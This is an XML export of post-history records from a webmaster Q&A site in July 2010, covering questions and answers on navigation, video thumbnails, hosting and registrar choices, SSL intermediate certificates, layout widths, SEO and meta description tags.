  <row Id="3126" PostHistoryTypeId="6" PostId="1689" RevisionGUID="f9143f6c-7de2-44f6-a40b-b322f3868a69" CreationDate="2010-07-28T20:54:25.673" UserId="15" Comment="edited tags" Text="&lt;best-practice&gt;&lt;website-design&gt;&lt;subjective&gt;" />
  <row Id="3127" PostHistoryTypeId="5" PostId="1653" RevisionGUID="499bdd33-5a4b-48ef-8337-908b65b67d3e" CreationDate="2010-07-28T21:12:03.073" UserId="527" Comment="clarified point that root of breadcrumb trail serves both purposes." Text="Another good place to use an explicit home link in user navigation is the first entry in a [breadcrumb trail][1]. Since this is often near the top of the page, the home link usually ends up just below the main logo, so it serves both as a text link to the home page and the root of the breadcrumb trail.&#xD;&#xA;&#xD;&#xA;If your site layout is at all hierarchical, a breadcrumb trail really helps the user stay oriented. They can easily see where they are, and return to any of the higher levels. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Breadcrumb_(navigation)" />
  <row Id="3128" PostHistoryTypeId="2" PostId="1704" RevisionGUID="dfc0a3e0-0293-4656-921b-40239f01eded" CreationDate="2010-07-28T21:18:19.257" UserId="26" Text="I have some intranet training videos made over the years in a bunch of formats (AVI, WMV, MOV, RealPlayer) and would like to provide something like a preview function - maybe a thumbnail animated GIF with a few representative screens, or maybe a sheet I can popup with an image every few seconds. Is there an easy image tool that can create such a thing? Platform agnostic would be great, but it's a one off (for now, haha), so Windows, Mac, or Linux would be fine. Thanks." />
  <row Id="3129" PostHistoryTypeId="1" PostId="1704" RevisionGUID="dfc0a3e0-0293-4656-921b-40239f01eded" CreationDate="2010-07-28T21:18:19.257" UserId="26" Text="Thumbnails for videos in multiple formats?" />
  <row Id="3130" PostHistoryTypeId="3" PostId="1704" RevisionGUID="dfc0a3e0-0293-4656-921b-40239f01eded" CreationDate="2010-07-28T21:18:19.257" UserId="26" Text="&lt;images&gt;&lt;video&gt;&lt;thumbnail&gt;" />
  <row Id="3131" PostHistoryTypeId="16" PostId="4" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-28T21:34:20.700" UserId="3" />
  <row Id="3132" PostHistoryTypeId="16" PostId="14" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-28T21:34:20.700" UserId="3" />
  <row Id="3133" PostHistoryTypeId="16" PostId="25" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-28T21:34:20.700" UserId="3" />
  <row Id="3134" PostHistoryTypeId="16" PostId="33" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-28T21:34:20.700" UserId="3" />
  <row Id="3135" PostHistoryTypeId="16" PostId="494" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-28T21:34:20.700" UserId="3" />
  <row Id="3136" PostHistoryTypeId="16" PostId="734" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-28T21:34:20.700" UserId="3" />
  <row Id="3137" PostHistoryTypeId="16" PostId="750" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-28T21:34:20.700" UserId="3" />
  <row Id="3138" PostHistoryTypeId="16" PostId="1547" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-28T21:34:20.700" UserId="3" />
  <row Id="3139" PostHistoryTypeId="16" PostId="2" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-28T21:34:20.700" UserId="3" />
  <row Id="3140" PostHistoryTypeId="2" PostId="1705" RevisionGUID="cfde0208-471c-4587-abc0-6759da5ed20b" CreationDate="2010-07-28T21:37:01.543" UserId="189" Text="I can recommend [webfaction][1] &#xD;&#xA;&#xD;&#xA;They have a stunning panel for managing your webserver and offer a LOT of one click installers for everything you need these days (Wordpress, Django, Joomla, Drupal, Trac, Subversion, whatever!).&#xD;&#xA;&#xD;&#xA;You even get SSH access to your webserver and thus can setup cronjobs or even install new software (for example you could setup your own Git or Subversion repositories).&#xD;&#xA;&#xD;&#xA;They might be a bit more expensive than other hosters but their support is absolutely stunning. I got replies on late Sunday evenings. Each conversation I hat with the support staff resulted in real answers by real people, no templated bullshit.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webfaction.com" />
  <row Id="3141" PostHistoryTypeId="5" PostId="1704" RevisionGUID="46b1b56c-d024-443c-b82b-fbcbf08b3b74" CreationDate="2010-07-28T21:38:57.457" UserId="26" Comment="added 39 characters in body" Text="I have some intranet training videos made over the years in a bunch of formats (AVI, WMV, MOV, RealPlayer) and would like to provide something like a preview function - maybe a thumbnail animated GIF with a few representative screens, or maybe a thumbnail sheet I can show the user with an image every few seconds of video. Is there an easy image tool I can use that can create such things?&#xD;&#xA;&#xD;&#xA;Platform agnostic would be great, but it's a one off (for now, haha), so Windows, Mac, or Linux would be fine. Thanks." />
  <row Id="3142" PostHistoryTypeId="2" PostId="1706" RevisionGUID="43e23594-3604-40e7-ab6f-fe17c82b3edb" CreationDate="2010-07-28T21:42:16.100" UserId="189" Text="I just thought that this should be easily done in python and a Google search for &quot;python video thumbnail&quot; results in this site:&#xD;&#xA;&#xD;&#xA;http://notbrainsurgery.livejournal.com/29773.html&#xD;&#xA;&#xD;&#xA;You might try the sourcode provided there..." />
  <row Id="3143" PostHistoryTypeId="2" PostId="1707" RevisionGUID="cc5cd9fb-38ab-4503-a5ad-68ce4196c540" CreationDate="2010-07-28T22:14:14.367" UserId="1108" Text="I raised a search enquiry with Yahoo on Monday - the acknowledgement included the following note on the transition to Bing which you might find relevant:&#xD;&#xA;&#xD;&#xA;&gt; Yahoo! Search is excited to reach a new stage in the Yahoo! and&#xD;&#xA;Microsoft Search Alliance; the integration of Microsoft algorithmic&#xD;&#xA;results is near complete for the U.S. and Canada marketplace. Yahoo!&#xD;&#xA;Search is currently testing the new integration, and you may notice a&#xD;&#xA;different experience during your searches. Within this test, some basic&#xD;&#xA;search listings will use Microsoft Web, Image, and Video results. All&#xD;&#xA;the enhancements you have come to expect from Yahoo! Search are&#xD;&#xA;preserved, and we will continue to innovate new improvements to the&#xD;&#xA;Search experience.&#xD;&#xA;&gt; &#xD;&#xA;&gt; As this is only a testing stage, not&#xD;&#xA;&gt; every search will produce different&#xD;&#xA;&gt; results, and the changes may not be&#xD;&#xA;&gt; obvious. Results may differ for the&#xD;&#xA;&gt; same keyword from one search to the&#xD;&#xA;&gt; next. Since the ranking and indexing&#xD;&#xA;&gt; algorithms are different, search&#xD;&#xA;&gt; results may appear in a different&#xD;&#xA;&gt; order. Search results that did not&#xD;&#xA;&gt; appear before may be included, and you&#xD;&#xA;&gt; may not see search results that were&#xD;&#xA;&gt; included before. We appreciate your&#xD;&#xA;&gt; patience as we thoroughly test the new&#xD;&#xA;&gt; results.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Thank you again for contacting Yahoo!&#xD;&#xA;&gt; Search." />
  <row Id="3144" PostHistoryTypeId="2" PostId="1708" RevisionGUID="cb078905-9552-4053-ad8d-5d789917af60" CreationDate="2010-07-28T22:54:02.483" UserId="316" Text="[Name.com][1] - I'm hearing many good things from others who have switched to using them. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.name.com/" />
  <row Id="3145" PostHistoryTypeId="16" PostId="1708" RevisionGUID="cb078905-9552-4053-ad8d-5d789917af60" CreationDate="2010-07-28T22:54:02.483" UserId="-1" />
  <row Id="3146" PostHistoryTypeId="2" PostId="1709" RevisionGUID="1f23a3b4-9dd1-462f-bc31-af36183ba33a" CreationDate="2010-07-29T00:51:39.320" UserId="59" Text="I'm going to recommend **[easyDNS][1]**.  They are a good domain name registrar and offer an excellent DNS hosting service.  Their prices are not the cheapest, but I am very happy with the service I get for my money.&#xD;&#xA;&#xD;&#xA;I've purchased domains with GoDaddy before and also find the upselling annoying.  But, I have used them when buying a number of domain names on speculation &amp;ndash; GoDaddy were cheaper than easyDNS for bulk &amp;ndash; but later I transferred to easyDNS the domain name I ended up actually keeping.&#xD;&#xA;&#xD;&#xA;  [1]: http://easydns.com" />
  <row Id="3147" PostHistoryTypeId="16" PostId="1709" RevisionGUID="1f23a3b4-9dd1-462f-bc31-af36183ba33a" CreationDate="2010-07-29T00:51:39.320" UserId="-1" />
  <row Id="3148" PostHistoryTypeId="2" PostId="1710" RevisionGUID="ef038bf5-2fb2-49c5-acd2-50b6de2fe134" CreationDate="2010-07-29T01:13:07.717" UserId="223" Text="Thawte, GeoTrust, VeriSign and other Certificate Authorities are currently in the process of changing from a 1024 bit MD5 based root certificate to a [2048 bit SHA-1][1] based root to &quot;[keep in line with industry best practices][2]&quot;. In addition all certificates will now require [Intermediate Certificate Authorities][3], creating a Chained Root certificate instead of the single root certificates that were previously issued by preferred providers. Having recently gone through this upgrade with one of our sites I now realize that I do not fully understand how SSL works and that I am in need of some clarifications.&#xD;&#xA;&#xD;&#xA;**Question 1: How does a 1024 bit root differ from a 2048 bit root?**&#xD;&#xA;I understand the switch from MD5 to SHA1, as MD5 has been proven vulnerable to collisions, but my question is what benefit does a 2048 bit root give over a 1024 bit root? Does it increase the SSL encryption strength between client and server or does it simply make it more difficult to compromise the root certificate? &#xD;&#xA;&#xD;&#xA;**Question 2: How do Intermediate Certificates work and what benefits/detriments do they have?**&#xD;&#xA;After updating our site everything worked fine except when the site was accessed by an older browser (Windows Mobile specifically). I was a bit confused since the [Thawte SSL123 2048-bit Test Site][4] worked fine on the device where as our site prompted a warning message regarding an &quot;Untrusted Root Certificate&quot;. Both sites had the exact same certificate chain, of which neither the root or intermediate certificates were trusted by the device. Stranger still was that after visiting the testing site, our site would magically start working without any warnings.&#xD;&#xA;&#xD;&#xA;I contact Thawte regarding the issue, and they said that our SSL certificate was not installed correctly. They said that we needed to [download][5] and [install][6] the intermediate certificate into the trusted intermediate certificate store of the server, and that we could use their [installation checker][7] to verify the results. The certificate had been installed by our hosting provider (probably using an automated script configure for single root certificates), but once we followed their instructions our site started working on the older browsers without needing to install or approve the new root or intermediate certificate on the device.&#xD;&#xA;&#xD;&#xA;How is it that installing the intermediate certificate on the server causes older browsers to accept the certificate as being valid?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.verisign.com/video/pdf/2048bit-root-migration-webinar.pdf&#xD;&#xA;  [2]: https://search.thawte.com/support/ssl-digital-certificates/index?page=content&amp;id=AD221&amp;actp=LIST&amp;viewlocale=en_US&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Intermediate_certificate_authorities&#xD;&#xA;  [4]: https://ssltest7.bbtest.net/&#xD;&#xA;  [5]: https://search.thawte.com/support/ssl-digital-certificates/index?page=content&amp;id=AR1372&amp;actp=AGENT_REFERAL&#xD;&#xA;  [6]: https://search.thawte.com/support/ssl-digital-certificates/index?page=content&amp;id=SO10664&#xD;&#xA;  [7]: https://search.thawte.com/support/ssl-digital-certificates/index?page=content&amp;actp=CROSSLINK&amp;id=SO9555" />
  <row Id="3149" PostHistoryTypeId="1" PostId="1710" RevisionGUID="ef038bf5-2fb2-49c5-acd2-50b6de2fe134" CreationDate="2010-07-29T01:13:07.717" UserId="223" Text="Thawte/GeoTrust/VeriSign 2048 Bit Root migration and Intermediate SSL Certificates" />
  <row Id="3150" PostHistoryTypeId="3" PostId="1710" RevisionGUID="ef038bf5-2fb2-49c5-acd2-50b6de2fe134" CreationDate="2010-07-29T01:13:07.717" UserId="223" Text="&lt;security&gt;&lt;ssl&gt;" />
  <row Id="3151" PostHistoryTypeId="2" PostId="1711" RevisionGUID="41784c1f-bcba-4aa7-ad24-87b494e93df7" CreationDate="2010-07-29T03:03:20.120" UserId="17" Text="**ENGINEHOSTING**&#xD;&#xA;&#xD;&#xA;I highly recommend [enginehosting.com][1]. They specialize in EE, but their support team is amazing.&#xD;&#xA;&#xD;&#xA;They are a bit different than other shared hosting companies because they manage just about everything themselves. Other than you files and website.&#xD;&#xA;&#xD;&#xA;*(Note: they are not really a shared hosting company. They also provide VPS and Dedicated hosting.)*&#xD;&#xA;&#xD;&#xA;Also, they give you sFTP; which is very nice for shared hosting and Wordpress. Many shared providers do not make secure FTP easy to get at.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Excellent up time and loading speed!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://enginehosting.com" />
  <row Id="3153" PostHistoryTypeId="2" PostId="1712" RevisionGUID="bcd39fb7-a8a8-4f9e-bf71-8bf5700ed080" CreationDate="2010-07-29T07:22:09.410" UserId="197" Text="or you could just do an in-file search and replace of your folders. Because iframes are evil by default..." />
  <row Id="3154" PostHistoryTypeId="2" PostId="1713" RevisionGUID="d7307a0b-cae7-486d-843a-1b498c1a3cea" CreationDate="2010-07-29T08:33:30.127" UserId="914" Text="There is also a compromise between the two where you set a min width and a max width (using CSS) and then use percentage widths to make the rest flow inbetween the two extremes. For instance, you might want a left-hand menu column to not get narrower than 200px but the main content to flow. This technique enables your site to scale to the visitors resolution, without looking silly at extremely high resolutions or extremely low resolutions. HTML, after all, was designed to flow - it is a mark-up language and not the same as print.&#xD;&#xA;&#xD;&#xA;This approach works well for relatively simple designs, such as blogs or ones that present a lot of textual information. Indeed, I use it on my own [personal website][1]. After all many people now have wide-screen or high-resolution monitors - my work monitor is 1680px wide - so why should they loose a large degree of real estate and have to horizontally scroll simply because a designer decided on a fixed width that suited their screen? In the end good design is about giving users the best possible experience - it's not just about what looks &quot;pretty&quot; on the designer's monitor.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.diplo.co.uk/" />
  <row Id="3155" PostHistoryTypeId="16" PostId="331" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-29T08:36:26.767" UserId="55" />
  <row Id="3156" PostHistoryTypeId="16" PostId="362" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-29T08:36:26.767" UserId="55" />
  <row Id="3157" PostHistoryTypeId="16" PostId="371" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-29T08:36:26.767" UserId="55" />
  <row Id="3158" PostHistoryTypeId="16" PostId="380" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-29T08:36:26.767" UserId="55" />
  <row Id="3159" PostHistoryTypeId="16" PostId="1579" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-29T08:36:26.767" UserId="55" />
  <row Id="3160" PostHistoryTypeId="16" PostId="1659" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-29T08:36:26.767" UserId="55" />
  <row Id="3161" PostHistoryTypeId="16" PostId="330" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-29T08:36:26.767" UserId="55" />
  <row Id="3162" PostHistoryTypeId="16" PostId="1664" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-29T08:56:53.443" UserId="55" />
  <row Id="3163" PostHistoryTypeId="16" PostId="1698" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-29T08:56:53.443" UserId="55" />
  <row Id="3164" PostHistoryTypeId="16" PostId="1705" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-29T08:56:53.443" UserId="55" />
  <row Id="3165" PostHistoryTypeId="16" PostId="1711" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-29T08:56:53.443" UserId="55" />
  <row Id="3166" PostHistoryTypeId="16" PostId="1661" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-29T08:56:53.443" UserId="55" />
  <row Id="3167" PostHistoryTypeId="2" PostId="1714" RevisionGUID="aaa686d8-bd6e-4ed8-9a46-6f144829e806" CreationDate="2010-07-29T09:01:12.683" UserId="407" Text="Are you running on a shared server?&#xD;&#xA;&#xD;&#xA;I've previously seen on shared servers instances where one account has been hacked and it's been possible for the hackers to access other sites on the shared server through files which the PHP users has access to." />
  <row Id="3168" PostHistoryTypeId="6" PostId="1690" RevisionGUID="2fef3313-3424-4332-8f2d-27e35346a346" CreationDate="2010-07-29T09:05:46.557" UserId="55" Comment="edited tags" Text="&lt;botattack&gt;&lt;.htaccess&gt;" />
  <row Id="3169" PostHistoryTypeId="5" PostId="138" RevisionGUID="d19928e0-b5c7-439a-b23e-574cb5c22914" CreationDate="2010-07-29T10:01:28.157" UserId="36" Comment="deleted 1 characters in body" Text="It completely depends on your user base.  In my line of work we support local councils so we have to maintain IE6 support as their computers are generally out of date and won't be upgraded for some time. If you are developing for a cutting edge audience however, then IE6 support will be less necessary.&#xD;&#xA;&#xD;&#xA;It is advised to make the website usable in IE6 by letting it degrade certain &quot;unsupported&quot; features gracefully. Just remember, dropping IE6 support **will** affect someone out there... it just depends whether you care or not." />
  <row Id="3170" PostHistoryTypeId="2" PostId="1715" RevisionGUID="39774d40-c23d-4ee7-b8fa-4471c5b6adce" CreationDate="2010-07-29T10:02:24.273" UserId="1059" Text="I created several campaigns using the MS adcenter. I'm targeting the whole world at any time with 2-3 placement texts per keyword group. The bids I placed are sometimes quite high, so they should get displayed.&#xD;&#xA;&#xD;&#xA;When I try to search for my keywords in Bing nothing gets displayed, though there is plenty of space for it. Bing mostly displays 2-3 ads, but the ones at the right side rather seldom.&#xD;&#xA;&#xD;&#xA;I'd like to know, how I can improve the fact that my ads are not being displayed - without increasing the bids any further." />
  <row Id="3171" PostHistoryTypeId="1" PostId="1715" RevisionGUID="39774d40-c23d-4ee7-b8fa-4471c5b6adce" CreationDate="2010-07-29T10:02:24.273" UserId="1059" Text="Why does Bing not show my adcenter ads though there is enough space" />
  <row Id="3172" PostHistoryTypeId="3" PostId="1715" RevisionGUID="39774d40-c23d-4ee7-b8fa-4471c5b6adce" CreationDate="2010-07-29T10:02:24.273" UserId="1059" Text="&lt;seo&gt;&lt;google-adsense&gt;&lt;microsoft&gt;" />
  <row Id="3174" PostHistoryTypeId="2" PostId="1716" RevisionGUID="426c4146-bd90-4219-97d3-f561ebf16bf5" CreationDate="2010-07-29T14:08:19.503" UserId="96" Text="You may not have to make that choice. [A List Apart][1] has an excellent [article on Responsive Design][2]. The main idea is that you can use [media queries][3] to catch changes in the browser window or viewport size and reassign CSS as necessary. There's a lot to read there, so check out [the article][4] for all the juicy details. But for the long and short of it (or should that be the &quot;wide and narrow&quot; of it?) look at the [before][5] and [after][6] pages of their example. The [before][5] page scales nicely up to a point, but if you make it narrow enough it gets a little clunky. The [after][6] page scales as well but also changes layout when you make it too narrow for scaling to work nicely.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.alistapart.com/&#xD;&#xA;  [2]: http://www.alistapart.com/articles/responsive-web-design/&#xD;&#xA;  [3]: http://www.w3.org/TR/css3-mediaqueries/&#xD;&#xA;  [4]: http://www.alistapart.com/articles/responsive-web-design/&#xD;&#xA;  [5]: http://www.alistapart.com/d/responsive-web-design/ex/ex-site-flexible.html&#xD;&#xA;  [6]: http://www.alistapart.com/d/responsive-web-design/ex/ex-site-linearize.html" />
  <row Id="3175" PostHistoryTypeId="2" PostId="1717" RevisionGUID="19b1add7-3560-4d68-817a-b39b30868163" CreationDate="2010-07-29T14:18:49.400" UserId="1111" Text="You can use the &quot;Secure Wordpress&quot; plugin which at the beginning was developed by Frank Bueltge. Now sitesecuritymonitor.com maintains it. The plugin contains a method to scan your Wordpress blog against known Vulnerabilities.&#xD;&#xA;&#xD;&#xA;See: http://www.sitesecuritymonitor.com/secure-wordpress-plugin" />
  <row Id="3176" PostHistoryTypeId="2" PostId="1718" RevisionGUID="fb6b73c5-47dd-4698-b295-085d15b57a0f" CreationDate="2010-07-29T16:51:55.973" UserId="427" Text="I have to mention [Moniker][1]. They're a top 10 registrar, they're US based (which is nice for Europeans considering that if anyone from the EU wants to screw with one of your domains, they're going to hit a US stonewall, but may not be that great if you're an American trying to protect your online assets), and their claim is never having lost a domain.&#xD;&#xA;They're pretty damn secure, and if you Google a bit you're going to see that they're the domain registrar domainers prefer. And domainers are a bunch of people very good at, oh well, buying domains and keeping them.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.moniker.com/" />
  <row Id="3177" PostHistoryTypeId="16" PostId="1718" RevisionGUID="fb6b73c5-47dd-4698-b295-085d15b57a0f" CreationDate="2010-07-29T16:51:55.973" UserId="-1" />
  <row Id="3178" PostHistoryTypeId="2" PostId="1719" RevisionGUID="644b9324-8bf0-4f0e-bd4f-de6779437d86" CreationDate="2010-07-29T17:29:08.970" UserId="1124" Text="I run a site that has some of the site pages accessible through the site's main navigation.  Then, there are 50+ &quot;state&quot; pages that are accessible to a user if they click on a specific state on a flash map on our home page.  &#xD;&#xA;&#xD;&#xA;What are the SEO implications of having the site set up so that a significant portion of the pages are not accessible via the main navigation of the site?  I know that Google has indexed these &quot;state&quot; pages previously, as they will pull up in organic rankings occasionally.  But, would they rank significantly better if we organized the site differently?" />
  <row Id="3179" PostHistoryTypeId="1" PostId="1719" RevisionGUID="644b9324-8bf0-4f0e-bd4f-de6779437d86" CreationDate="2010-07-29T17:29:08.970" UserId="1124" Text="Multiple site pages not accesible via main site nav- SEO implications?" />
  <row Id="3180" PostHistoryTypeId="3" PostId="1719" RevisionGUID="644b9324-8bf0-4f0e-bd4f-de6779437d86" CreationDate="2010-07-29T17:29:08.970" UserId="1124" Text="&lt;indexing&gt;&lt;navigation&gt;" />
  <row Id="3181" PostHistoryTypeId="2" PostId="1720" RevisionGUID="8d5972fd-8013-4656-aaf0-e2f7bfd259b6" CreationDate="2010-07-29T18:14:53.800" UserId="233" Text="In general it's best to have ordinary text links to those pages somewhere on the site, if not for SEO then for accessibility reasons. A portion of users will not have Flash or have it disabled through FlashBlock etc.&#xD;&#xA;&#xD;&#xA;For a site I completed recently we did something similar with a map of the UK. I put links to the cities (only 5 at the moment) underneath the Flash map. For 50+ links, I'd recommend either:&#xD;&#xA;&#xD;&#xA;1. Creating a separate page with the links, then linking to that with one small link next to the Flash map.&#xD;&#xA;2. Adding the links *within* the `&lt;object&gt;` tag, as browsers will show that as alternative content and I believe search engines will read that content." />
  <row Id="3182" PostHistoryTypeId="5" PostId="182" RevisionGUID="209e3225-8df0-4c8e-90bd-4c7f8efaacdb" CreationDate="2010-07-29T18:21:02.320" UserId="55" Comment="added 213 characters in body" Text="Who are some of the big names out there (besides [Jeff Atwood][1]/[@codinghorror][2], of course) that I should be following as a resource if I want to stay on top of what's new as well commentary on what exists?&#xD;&#xA;&#xD;&#xA;***Please consider simply editing this question, rather than posting another answer if you have something to add that is not listed here. Additionally, feel free to add descriptions to items already listed.***&#xD;&#xA;&#xD;&#xA;Twitter accounts:&#xD;&#xA;&#xD;&#xA; - [@codinghorror][3]&#xD;&#xA; - [@smashingmag][4]&#xD;&#xA; - [@shanselman][5]&#xD;&#xA; - [@scottgu][6]&#xD;&#xA; - [@haacked][7]&#xD;&#xA; - [@jquery][8]&#xD;&#xA; - [@jeresig][9]&#xD;&#xA; - [@slicknet][10]&#xD;&#xA; - [@paul_irish][11]&#xD;&#xA; - [@trentwalton][12]&#xD;&#xA; - [@sarajchipps][13]&#xD;&#xA;&#xD;&#xA;Blogs:&#xD;&#xA;&#xD;&#xA; - [Coding Horror][14]&#xD;&#xA; - [A List Apart][15]&#xD;&#xA; - [Fabulous Adventures in Coding][16]&#xD;&#xA; - [StackOverflow Blog][17]&#xD;&#xA; - [FriendlyBit][18]&#xD;&#xA; - [Fiftyfoureleven][19]&#xD;&#xA; - [Paul Irish][20]&#xD;&#xA;&#xD;&#xA;Feeds:&#xD;&#xA;&#xD;&#xA; - [Reddit Programming Feed][21]&#xD;&#xA; - [Y Combinator][22]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://codinghorror.com&#xD;&#xA;  [2]: http://twitter.com/codinghorror&#xD;&#xA;  [3]: http://twitter.com/codinghorror&#xD;&#xA;  [4]: http://twitter.com/smashingmag&#xD;&#xA;  [5]: http://twitter.com/shanselman&#xD;&#xA;  [6]: http://twitter.com/scottgu&#xD;&#xA;  [7]: http://twitter.com/haacked&#xD;&#xA;  [8]: http://twitter.com/jquery&#xD;&#xA;  [9]: http://twitter.com/jeresig&#xD;&#xA;  [10]: http://twitter.com/slicknet&#xD;&#xA;  [11]: http://twitter.com/paul_irish&#xD;&#xA;  [12]: http://twitter.com/trentwalton&#xD;&#xA;  [13]: http://twitter.com/sarajchipps&#xD;&#xA;  [14]: http://codinghorror.com&#xD;&#xA;  [15]: http://www.alistapart.com&#xD;&#xA;  [16]: http://blogs.msdn.com/b/ericlippert/&#xD;&#xA;  [17]: http://blog.stackoverflow.com/&#xD;&#xA;  [18]: http://friendlybit.com/&#xD;&#xA;  [19]: http://www.fiftyfoureleven.com/&#xD;&#xA;  [20]: http://paulirish.com/&#xD;&#xA;  [21]: http://www.reddit.com/r/programming/&#xD;&#xA;  [22]: http://news.ycombinator.com/" />
  <row Id="3189" PostHistoryTypeId="2" PostId="1721" RevisionGUID="54804eff-c636-4c76-8a7c-05d47fb53960" CreationDate="2010-07-29T18:46:26.357" UserId="1126" Text="I expected to see something like this in the `&lt;head&gt;` section of stackoverflow.com:  &#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;description&quot; content=&quot;A language-independent collaboratively &#xD;&#xA;    edited question and answer site for programmers.&quot;/&gt;&#xD;&#xA;&#xD;&#xA;There seems to be some evidence that the meta description is useful at least for some search engines.  &#xD;&#xA;&#xD;&#xA;[http://stackoverflow.com/questions/53081/html-meta-keyword-description-element-useful-or-not][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Why not include it?  Has the SO team determined this tag to be a complete waste of bytes? &#xD;&#xA;&#xD;&#xA;As an aside, when you google &quot;stackoverflow&quot;, where does the &quot;A language-independent collaboratively ..&quot; description get pulled from?  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/53081/html-meta-keyword-description-element-useful-or-not" />
  <row Id="3190" PostHistoryTypeId="1" PostId="1721" RevisionGUID="54804eff-c636-4c76-8a7c-05d47fb53960" CreationDate="2010-07-29T18:46:26.357" UserId="1126" Text="Why doesn't stackoverflow.com have a &quot;description&quot; meta tag in the head section?" />
  <row Id="3191" PostHistoryTypeId="3" PostId="1721" RevisionGUID="54804eff-c636-4c76-8a7c-05d47fb53960" CreationDate="2010-07-29T18:46:26.357" UserId="1126" Text="&lt;seo&gt;&lt;meta-keywords&gt;" />
  <row Id="3192" PostHistoryTypeId="5" PostId="1721" RevisionGUID="fa877bf8-14bb-4d17-b538-0a3f7e01219f" CreationDate="2010-07-29T19:37:39.723" UserId="3" Comment="deleted 19 characters in body; edited title" Text="I expected to see something like this in the `&lt;head&gt;` section of stackoverflow.com, for example:  &#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;description&quot; content=&quot;A language-independent collaboratively &#xD;&#xA;    edited question and answer site for programmers.&quot;/&gt;&#xD;&#xA;&#xD;&#xA;There seems to be some evidence that the meta description is useful at least for some search engines.  &#xD;&#xA;&#xD;&#xA;[http://stackoverflow.com/questions/53081/html-meta-keyword-description-element-useful-or-not][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Why not include it?  Is this tag a complete waste of bytes? &#xD;&#xA;&#xD;&#xA;As an aside, when you google &quot;stackoverflow&quot;, where does the &quot;A language-independent collaboratively ..&quot; description get pulled from?  &#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/53081/html-meta-keyword-description-element-useful-or-not" />
  <row Id="3193" PostHistoryTypeId="4" PostId="1721" RevisionGUID="fa877bf8-14bb-4d17-b538-0a3f7e01219f" CreationDate="2010-07-29T19:37:39.723" UserId="3" Comment="deleted 19 characters in body; edited title" Text="Why don't websites have a &quot;description&quot; meta tag in the head section?" />
  <row Id="3194" PostHistoryTypeId="2" PostId="1722" RevisionGUID="c4014ddc-5228-4990-94b8-5669d3694614" CreationDate="2010-07-29T19:39:24.463" UserId="480" Text="You can try your luck with the [&amp;lt;link&amp;gt; tag][1] and a [sitemap][2].&#xD;&#xA;&#xD;&#xA;For the &amp;lt;link&amp;gt; tag you could try:&#xD;&#xA;&#xD;&#xA;    &lt;link charset=&quot;utf-8&quot;&#xD;&#xA;          href=&quot;/somewhere&quot;&#xD;&#xA;          media=&quot;all&quot;&#xD;&#xA;          rel=&quot;glossary&quot;&#xD;&#xA;          rev=&quot;subsection&quot;&#xD;&#xA;          target=&quot;_top&quot;&#xD;&#xA;          type=&quot;text/html&quot; /&gt;&#xD;&#xA;&#xD;&#xA;The bottom line is that the effect will be site specific and only trial and error will determine whether it is a good idea for your site or not. The &amp;lt;link&amp;gt; tags may become more acceptable to search engines in the future i.e. it took until 2009 for a public announcement from Google, Microsoft and Yahoo! on canonical.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3schools.com/tags/tag_link.asp&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=183668" />
  <row Id="3195" PostHistoryTypeId="2" PostId="1723" RevisionGUID="302007f3-4588-49bd-b21e-748416ae9bec" CreationDate="2010-07-29T19:40:39.733" UserId="745" Text="As mentioned, the description you mentioned is pulled from DMOZ. However, one reason they may not have a meta description is because StackOverflow is primarily user-generated content. As such, creating a relevant meta description isn't the easiest task. They may have thought that Google would do a better job of programmatically creating a search engine results snippet for any given question than they would have.&#xD;&#xA;" />
